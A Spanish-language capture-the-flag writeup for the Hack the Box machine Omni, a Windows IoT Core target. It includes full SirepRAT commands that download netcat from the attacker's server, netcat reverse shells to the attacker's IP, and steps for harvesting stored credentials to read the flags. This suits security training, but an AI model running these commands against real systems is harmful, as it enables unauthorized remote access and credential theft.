Omni Writeup

FácilWindows IOT Core
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
7cfd50f6...
#Root Flag
5dbdce55...

En este writeup vamos a ver cómo resolver la máquina Omni de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Capturar User Flag

Empezamos haciendo un escaner con nmap para detectar puertos y versiones.

netcat
netcat

Esto nos saca dos puertos.

El puerto 135 el cual se corresponde al servicio de RPC y el puerto 8080 que se corresponde con el servicio Universal Plug and Play (UPNP)

Si navegamos a la dirección http://10.10.10.204:8080 se nos muestra una ventana de autentificación.

autenticacion htaccess
autenticacion htaccess

Descargamos este script https://github.com/SafeBreach-Labs/SirepRAT e instalamos sus dependencias (hexdump) con la siguiente línea

pip install -r requirements.txt

También tenemos que descargar el binario de 64bits para Windows de Netcat desde este enlace https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip y levantar un servidor desde donde hayamos descomprimido el archivo, para ello:

python -m SimpleHTTPServer

Una vez hecho esto ejecutamos la siguiente línea:

python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.82:8000/nc64.exe" --v

Esto hace que podamos invocar powershell en la máquina atacada y descargar Netcat en ella.

Si vemos los logs del servidor (nuesto) desde el que se descargará netcat, podemos ver la IP de la máquina vulnerable descargando el fichero nc64.exe:

nuestra ip
nuestra ip

En una nueva terminal levantamos nuestro Netcat por el puerto 1234

nc -nlvp 1234

En otra terminal ejecutamos la siguiente línea:

python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.82 1234 -e powershell.exe" --v

Con esto habremos conseguido una shell reversa desde la máquina windows.

reverse shell
reverse shell

Desde la shell reversa de Windows ejecutamos las siguientes líneas:

cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"ls -force

En este directorio veremos un fichero llamado r.bat, si hacemos un cat de él encontraremos dos credenciales.

credenciales
credenciales

Si volvemos al navegador y accedemos a la dirección http://10.10.10.204:8080 ya podremos loguearnos con cualquiera de estas dos cuentas y nos llevará a un panel de administración

device portal
device portal

Abrimos una nueva terminal y lanzamos una nueva conexión netcat en un puerto diferente al previo.

Por otro lado, en el panel de administración de Windows nos dirigimos a Processes > Run command para intentar ejecutar otra shell reversa.

Para ello en el input de comandos ejecutamos la siguiente línea:

C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.82 4444 -e powershell.exe

run command
run command

Y automáticamente veremos como en nuestro netcat se nos habrá abierto una nueva sesión reversa.

conexion
conexion

Para conseguir la USER Flag tenemos que ejecutar las siguientes líneas:

$credential = Import-CliXml -Path U:\Users\app\user.txt $credential.GetNetworkCredential().Password

Finalmente esto nos dará lo que buscamos.

Capturar la Root Flag

Para capturar la ROOT Flag tenemos que hacer el mismo proceso pero con el otro usuario que aparecía en el fichero r.bat

Para ello cerramos firefox y volvemos a logearnos con el usuario administrador.

Nos dirigimos a Processes > Run Command y volvemos a lanzar la conexión reversa:

C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.82 4444 -e powershell.exe

Una vez hecho lanzamos los siguientes comandos en nuestra sesión netcat:

$credential = Import-CliXml -Path U:\Users\administrator\root.txt $credential.GetNetworkCredential().Password

También te puede interesar

Opsie Writeup

Opsie Writeup

Scriptkiddie Writeup

Scriptkiddie Writeup

Poison Writeup

Poison Writeup